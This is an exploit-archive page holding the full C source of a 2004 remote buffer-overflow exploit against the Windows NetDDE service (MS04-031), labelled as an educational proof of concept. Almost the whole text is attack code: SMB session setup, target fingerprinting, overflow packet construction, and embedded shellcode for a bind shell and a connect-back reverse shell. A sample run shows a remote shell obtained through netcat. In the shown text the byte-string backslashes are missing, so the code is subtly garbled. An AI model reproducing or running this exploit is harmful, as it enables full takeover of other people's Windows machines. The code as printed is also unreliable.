[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)
# Published : 2004-12-31
# Author : houseofdabus
# Previous Title : MS Windows 2000 WINS Remote Code Execution Exploit
# Next Title : PHP <= 4.3.7 openlog() Buffer Overflow Exploit
/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2
*
* Copyright (c) 2004 houseofdabus.
*
* (MS04-031) NetDDE buffer overflow vulnerability PoC
*
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* (special unstable version)
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the NetDDE
* services because of an unchecked buffer. An attacker who
* successfully exploited this vulnerability could take complete
* control of an affected system. However, the NetDDE services are
* not started by default and would have to be manually started for
* an attacker to attempt to remotely exploit this vulnerability.
* This vulnerability could also be used to attempt to perform
* a local elevation of privilege or remote denial of service.
*
* ---------------------------------------------------------------------
* Patch:
* http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP Professional SP0
* - Windows XP Professional SP1
* - Windows 2000 Professional SP2
* - Windows 2000 Professional SP3
* - Windows 2000 Professional SP4
* - Windows 2000 Advanced Server SP4
*
* ---------------------------------------------------------------------
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms04031-expl HOD-ms04031-expl.c
* Win32/cygwin: gcc -o HOD-ms04031-expl HOD-ms04031-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04031-expl HOD-ms04031-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD-ms04031-expl.exe <host> <netbios name> <target> <bindport>
* [connectback IP] [options]
*
* Targets:
* 0 [0x00abfafc]: WinXP [universal]
* 1 [0x009efb40]: Win2K [universal]
*
* Options:
* -f: Netbios name fingerprinting
*
* ---------------------------------------------------------------------
* Example:
*
* C:>HOD-ms04031-expl.exe 192.168.0.1 -f
* [*] Connecting to 192.168.0.1:139 ... OK
* [*] Fingerprinting... OK
* [+] Remote netbios name: HOD
*
* C:>
* C:>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878
* [*] Connecting to 192.168.0.1:139 ... OK
* [*] Attacking 192.168.0.1 ...OK.
*
* C:>nc 192.168.0.1 7878
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:WINNTsystem32>
*
* ---------------------------------------------------------------------
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
/* targets table */
struct targets {
int num;
char name[50];
long jmpaddr;
}
target[]= {
{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 },
{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 }
};
/* portbind shellcode */
unsigned char portbindsc[] =
"xebx70x56x33xc0x64x8bx40x30x85xc0x78x0cx8bx40x0c"
"x8bx70x1cxadx8bx40x08xebx09x8bx40x34x8dx40x7cx8b"
"x40x3cx5exc3x60x8bx6cx24x24x8bx45x3cx8bx54x05x78"
"x03xd5x8bx4ax18x8bx5ax20x03xddxe3x34x49x8bx34x8b"
"x03xf5x33xffx33xc0xfcxacx84xc0x74x07xc1xcfx0dx03"
"xf8xebxf4x3bx7cx24x28x75xe1x8bx5ax24x03xddx66x8b"
"x0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5x89x44x24x1c"
"x61xc3xebx3dxadx50x52xe8xa8xffxffxffx89x07x83xc4"
"x08x83xc7x04x3bxf1x75xecxc3x8ex4ex0execx72xfexb3"
"x16x7exd8xe2x73xadxd9x05xcexd9x09xf5xadxa4x1ax70"
"xc7xa4xadx2exe9xe5x49x86x49xcbxedxfcx3bxe7x79xc6"
"x79x83xecx60x8bxecxebx02xebx05xe8xf9xffxffxffx5e"
"xe8x3dxffxffxffx8bxd0x83xeex36x8dx7dx04x8bxcex83"
"xc1x10xe8x9dxffxffxffx83xc1x18x33xc0x66xb8x33x32"
"x50x68x77x73x32x5fx8bxdcx51x52x53xffx55x04x5ax59"
"x8bxd0xe8x7dxffxffxffxb8x01x63x6dx64xc1xf8x08x50"
"x89x65x34x33xc0x66xb8x90x01x2bxe0x54x83xc0x72x50"
"xffx55x24x33xc0x50x50x50x50x40x50x40x50xffx55x14"
"x8bxf0x33xc0x33xdbx50x50x50xb8x02x01x11x5cxfexcc"
"x50x8bxc4xb3x10x53x50x56xffx55x18x53x56xffx55x1c"
"x53x8bxd4x2bxe3x8bxccx52x51x56xffx55x20x8bxf0x33"
"xc9xb1x54x2bxe1x8bxfcx57x33xc0xf3xaax5fxc6x07x44"
"xfex47x2dx57x8bxc6x8dx7fx38xabxabxabx5fx33xc0x8d"
"x77x44x56x57x50x50x50x40x50x48x50x50xffx75x34x50"
"xffx55x08xf7xd0x50xffx36xffx55x10xffx77x38xffx55"
"x28xffx55x0c";
/* connectback shellcode */
unsigned char connectbacksc[] =
"xebx70x56x33xc0x64x8bx40x30x85xc0x78x0cx8bx40x0c"
"x8bx70x1cxadx8bx40x08xebx09x8bx40x34x8dx40x7cx8b"
"x40x3cx5exc3x60x8bx6cx24x24x8bx45x3cx8bx54x05x78"
"x03xd5x8bx4ax18x8bx5ax20x03xddxe3x34x49x8bx34x8b"
"x03xf5x33xffx33xc0xfcxacx84xc0x74x07xc1xcfx0dx03"
"xf8xebxf4x3bx7cx24x28x75xe1x8bx5ax24x03xddx66x8b"
"x0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5x89x44x24x1c"
"x61xc3xebx35xadx50x52xe8xa8xffxffxffx89x07x83xc4"
"x08x83xc7x04x3bxf1x75xecxc3x8ex4ex0execx72xfexb3"
"x16x7exd8xe2x73xadxd9x05xcexd9x09xf5xadxecxf9xaa"
"x60xcbxedxfcx3bxe7x79xc6x79x83xecx60x8bxecxebx02"
"xebx05xe8xf9xffxffxffx5exe8x45xffxffxffx8bxd0x83"
"xeex2ex8dx7dx04x8bxcex83xc1x10xe8xa5xffxffxffx83"
"xc1x10x33xc0x66xb8x33x32x50x68x77x73x32x5fx8bxdc"
"x51x52x53xffx55x04x5ax59x8bxd0xe8x85xffxffxffxb8"
"x01x63x6dx64xc1xf8x08x50x89x65x30x33xc0x66xb8x90"
"x01x2bxe0x54x83xc0x72x50xffx55x1cx33xc0x50x50x50"
"x50x40x50x40x50xffx55x14x8bxf0x68x7fx01x01x01xb8"
"x02x01x11x5cxfexccx50x8bxdcx33xc0xb0x10x50x53x56"
"xffx55x18x33xc9xb1x54x2bxe1x8bxfcx57x33xc0xf3xaa"
"x5fxc6x07x44xfex47x2dx57x8bxc6x8dx7fx38xabxabxab"
"x5fx33xc0x8dx77x44x56x57x50x50x50x40x50x48x50x50"
"xffx75x30x50xffx55x08xf7xd0x50xffx36xffx55x10xff"
"x77x38xffx55x20xffx55x0c";
#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) = (port)
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290)) = (port)
/*
eax = target[].jmpaddr -> stack -> jmpcode -> shellcode
1. 0100D605 call dword ptr [eax+20h]
2. jmpcode
3. shellcode
*/
char jmpcode[] =
"x90x90x90x90x66x81xC7x20x03xFFxE7x90x90x90x90x90"
"x50x6fx43x20x66x6fx72x20x4ex65x74x44x44x45x20x28"
"x4dx53x30x34x2dx30x33x31x29x2ex20x43x6fx70x79x72"
"x69x67x68x74x20x28x63x29x20x32x30x30x34x2dx32x30"
"x30x35x20x68x6fx75x73x65x6fx66x64x61x62x75x73x2e"
"xBBxBBxBBxBB" /* => eax */
"PADPAD";
char smb_sesreq[] =
"x81x00x00x44x20x43x4bx46x44x45x4ex45x43x46x44x45"
"x46x46x43x46x47x45x46x46x43x43x41x43x41x43x41x43"
"x41x43x41x43x41x00x20x45x4bx45x44x46x45x45x49x45"
"x44x43x41x43x41x43x41x43x41x43x41x43x41x43x41x43"
"x41x43x41x43x41x41x41x00";
char smb_negotiate[] =
"x00x00x00x2fxffx53x4dx42x72x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x5cx02"
"x00x00x00x00x00x0cx00x02x4ex54x20x4cx4dx20x30x2e"
"x31x32x00";
char d1[] =
"x0dx12x0bx06x0dx18x1cx01x10x03x12x08x1dx1fx0ax0a"
"x16x02x17x0ex1bx0d";
char req1[] =
"x81x00x00x44";
char req2[] =
"CACACACACACACACACACACACACACACABP";
char h1[] =
"x45x44x44x4Ex00x00x00";
char h2[] =
"x00x00x00x00x00x00x00x00x00x00";
char h3[] =
"x00x00x02x02x00x00x00x01x00x00x00";
unsigned long ndlen = 0;
unsigned long ntarget = 0;
unsigned long backip = 0;
unsigned short bindport = 0;
unsigned long
fixx(unsigned char *data, unsigned long i)
{
unsigned long len;
len = (data[i+3]<<24) +
(data[i+2]<<16) +
(data[i+1]<<8) +
(data[i]);
return len;
}
unsigned long
chksum(unsigned char *data, unsigned long dlen)
{
unsigned long i, len;
unsigned long chk;
chk = 0xFFFFFFFF;
len = dlen - 4;
for (i=0; i<len; i+=4)
chk += fixx(data, i);
while (i < dlen) {
chk += (unsigned char)data[i];
i++;
}
return chk;
}
char *
netbios_encode(char *ndata, char service)
{
char *tmpdata, *data, *nret;
unsigned long dlen;
char odiv, omod, o;
int i;
data = (char *)calloc(17, 1);
memcpy(data, ndata, strlen(ndata));
dlen = strlen(data);
while (dlen < 15) {
strcat(data, "x20");
dlen++;
}
memcpy(data+strlen(data), &service, 1);
nret = (char *)calloc(strlen(data)*2+1, 1);
tmpdata = nret;
for (i=0; i<16; i++) {
o = (char)data[i];
odiv = o / 16;
odiv = odiv + 0x41;
omod = o % 16;
omod = omod + 0x41;
*tmpdata++ = odiv;
*tmpdata++ = omod;
}
free(data);
return nret;
}
unsigned char *
find_smbname(unsigned char *data, unsigned long len)
{
unsigned char *ptr;
unsigned long i = 0;
ptr = data;
ptr += 91;
while (i <= len - 3) {
if (ptr[i] == 'x00')
if (ptr[i+1] == 'x00')
if (ptr[i+2] == 'x00')
return ptr+i+3;
i++;
}
return NULL;
}
/* fingerprinting */
unsigned char *
smb_get_name(char *ip)
{
int sock, r;
unsigned long smbname_len;
unsigned char *name = NULL, *smbname;
struct sockaddr_in s;
struct hostent *he;
unsigned char buf[256];
if ((he = gethostbyname(ip)) == NULL) {
printf("[-] Unable to resolve %sn", ip);
return NULL;
}
sock = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
if (sock < 0) return NULL;
s.sin_family = AF_INET;
s.sin_addr = *((struct in_addr *)he->h_addr);
s.sin_port = htons(139);
memset(&(s.sin_zero), ' ', 8);
memset(buf, 0, 256);
printf("[*] Connecting to %s:139 ... ", ip);
r = connect(sock, (struct sockaddr *) &s, sizeof(struct
sockaddr_in));
if (r == 0) {
printf("OKn[*] Fingerprinting... ");
/* sending session request */
send(sock, smb_sesreq, sizeof(smb_sesreq)-1,
0);
Sleep(1000);
r = recv(sock, (char *)buf, 256, 0);
if (r < 0) goto err;
memset(buf, 0, 256);
/* sending negotiation request */
send(sock, smb_negotiate,
sizeof(smb_negotiate)-1, 0);
Sleep(1000);
r = recv(sock, (char *)buf, 256, 0);
if (r < 0) goto err;
printf("OKn");
smbname = find_smbname(buf, r);
if (smbname == NULL) goto err;
smbname_len = smbname - buf;
name = (unsigned char *)calloc(smbname_len,
1);
/* decoding */
r = 0;
while (smbname_len) {
if (*smbname != 'x00') {
name[r] = *smbname;
r++;
}
smbname++;
smbname_len--;
}
} else {
printf("failedn[-] Can't connect to %s:139n", ip);
}
err:
shutdown(sock, 1);
closesocket(sock);
return name;
}
/* NetDDE packet */
char *
packet_assembly(char *name, char *host)
{
char *main, *header, *data;
char *lname, *rhost;
unsigned long llen, rlen, len, hlen, dlen, csum, i;
unsigned char name_hi, name_low, rhost_hi,
rhost_low;
unsigned char hod_hi, hod_low, len_hi, len_low;
unsigned char nops[] = "x90x90x90x90"; /* nops */
char hod[] = "HOD-HODx01";
char hmain[] = "x01x00xBEx05x0Ax00x00";
char tmp[8];
llen = strlen(name) + 4;
rlen = strlen(host);
lname = (char *)calloc(llen + 3, 1);
rhost = (char *)calloc(rlen + 3, 1);
memcpy(lname, name, llen);
strcpy(rhost, host);
memcpy(lname + llen, "x01", 1);
strcat(rhost, "x01");
name_hi = (unsigned char) ((llen+1) / 256);
name_low = (unsigned char) ((llen+1) % 256);
rhost_hi = (unsigned char) ((rlen + llen + 2) / 256);
rhost_low = (unsigned char) ((rlen + llen + 2) % 256);
len = sizeof(hod) - 1;
hod_hi = (unsigned char) (len / 256);
hod_low = (unsigned char) (len % 256);
main = (char *)calloc( sizeof(hod)-1 +
sizeof(hmain)-1 +
llen + rlen +
11, 1 );
memcpy(main, hmain, sizeof(hmain)-1);
sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low,
rhost_hi, rhost_low, hod_hi, hod_low);
memcpy(main+sizeof(hmain)-1, tmp, 6);
memcpy(main+sizeof(hmain)-1+6, "x00", 1);
memcpy(main+sizeof(hmain)-1+7, lname, llen+1);
memcpy(main+sizeof(hmain)-1+7+llen+1, rhost,
rlen+1);
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod,
sizeof(hod)-1);
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1,
"x2e", 1);
len =
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1;
len_hi = (unsigned char) (len / 256);
len_low = (unsigned char) (len % 256);
/* header */
header = (char *)calloc(sizeof(h1)-1 +
sizeof(h2)-1 +
sizeof(h3)-1 +
9, 1);
memcpy(header, h1, sizeof(h1)-1);
sprintf(tmp, "%c%c", len_hi, len_low);
memcpy(header+sizeof(h1)-1, tmp, 2);
memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1);
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2);
memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3,
sizeof(h3)-1);
csum = chksum(main, len);
memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4
+ sizeof(h3)-1, &csum, 4);
/* data */
hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8;
data = (char *)calloc( sizeof(d1)-1 +
len+hlen +
37 +
1200, 1 );
csum = chksum(header, hlen);
memcpy(data+4, &csum, 4);
memcpy(data+4+4, header, hlen);
memcpy(data+4+4+hlen, main, len);
memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1);
/* nops */
for (i=0; i<154; i++)
memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4,
nops, 4);
/* shellcode */
if (!backip) {
/* portbind */
SET_PORTBIND_PORT(portbindsc,
htons(bindport));
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
portbindsc, sizeof(portbindsc)-1);
dlen =
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4;
} else {
/* connectback */
SET_CONNECTBACK_IP(connectbacksc,
backip);
SET_CONNECTBACK_PORT(connectbacksc,
htons(bindport));
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,
connectbacksc, sizeof(connectbacksc)-1);
dlen =
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4;
}
ndlen = dlen + 4;
dlen = htonl(dlen);
memcpy(data, &dlen, 4);
free(lname);
free(rhost);
free(main);
free(header);
return data;
}
void
usage(char *prog)
{
int i;
printf("%s <host> <netbios name> <target> <bindport> [connectback IP] [options]nn", prog);
printf("Targets:n");
for (i = 0; i < 2; i++)
printf(" %d [0x%.8x]: %sn", target[i].num,
target[i].jmpaddr, target[i].name);
printf("nOptions:nt-f: Netbios name fingerprintingn");
exit(0);
}
void
vargs(int argc, char **argv)
{
int i, finger = 0;
char *nname = NULL;
for (i = 2; i < argc; i++) {
if (argv[i][0] == '-') {
if (argv[i][1] == 'f')
finger = 1;
}
}
if (finger && argc > 2) {
nname = smb_get_name(argv[1]);
if (nname) {
printf("[+] Remote netbios name: %sn",
nname);
free(nname);
}
exit(0);
} else
if (argc < 5) usage(argv[0]);
if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]);
bindport = (unsigned short)atoi(argv[4]);
if (argc > 5) backip = inet_addr(argv[5]);
return;
}
int
main (int argc, char **argv)
{
int len, sockfd;
char *host;
char *req;
struct hostent *he;
struct sockaddr_in their_addr;
char rbuf[4096];
#ifdef _WIN32
WSADATA wsa;
#endif
char *ses_req;
char *data, *hname;
char *hn, *hn2;
unsigned long req_sz, hname_len, hn_len;
#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
printf("n (MS04-031) NetDDE buffer overflow vulnerability PoCnn");
printf("tCopyright (c) 2004-2005 .::[ houseofdabus ]::.nnn");
vargs(argc, argv);
hn = argv[2]; /* target netbios name */
host = argv[1]; /* target host name */
if (strlen(host) > 1024) return 0;
/* target jmpaddr */
memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4);
ses_req = (char *)calloc(sizeof(req1)-1 +
sizeof(req2)-1 +
114, 1);
memcpy(ses_req, req1, sizeof(req1)-1);
memcpy(ses_req+sizeof(req1)-1, "x20", 1);
hname = netbios_encode(hn, 0x1F);
hname_len = strlen(hname);
memcpy(ses_req+sizeof(req1)-1+1, hname,
hname_len);
memcpy(ses_req+sizeof(req1)-1+1+hname_len,
"x00x20", 2);
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2,
req2, sizeof(req2)-1);
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1,
"x00", 1);
req_sz =
sizeof(req1)-1+sizeof(req2)-1+hname_len+4;
if ((he = gethostbyname(host)) == NULL) {
printf("[-] Unable to resolve %sn", host);
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
printf("[-] Error: socket failedn");
return 0;
}
req = req1;
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(139);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), ' ', 8);
/* connecting */
printf("[*] Connecting to %s:139 ... ", host);
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) < 0) {
printf("[-] Error: connect failedn");
return 0;
}
printf("OKn");
if (send(sockfd, ses_req, req_sz, 0) < 0) {
printf("[-] Error: send failedn");
return 0;
}
len = recv(sockfd, rbuf, 4096, 0);
if (len < 0) return 0;
/* check NetDDE */
if ((unsigned char)rbuf[0] != 0x82) {
printf("[-] NetDDE disabled or wrong netbios namen");
return 0;
}
hn2 = (char *)calloc(16, 1);
memcpy(hn2, hn, strlen(hn));
hn_len = strlen(hn);
while (hn_len < 15) {
strcat(hn2, "x20");
hn_len++;
}
/* attacking */
printf("[*] Attacking %s ...", host);
data = packet_assembly(jmpcode, hn2);
if (send(sockfd, data, ndlen, 0) < 0) {
printf("n[-] Error: send failedn");
return 0;
}
printf("OK.n");
len = recv(sockfd, rbuf, 4096, 0);
shutdown(sockfd, 1);
closesocket(sockfd);
free(data);
free(hn2);
free(ses_req);
free(hname);
return 0;
}
// www.Syue.com [2004-12-31]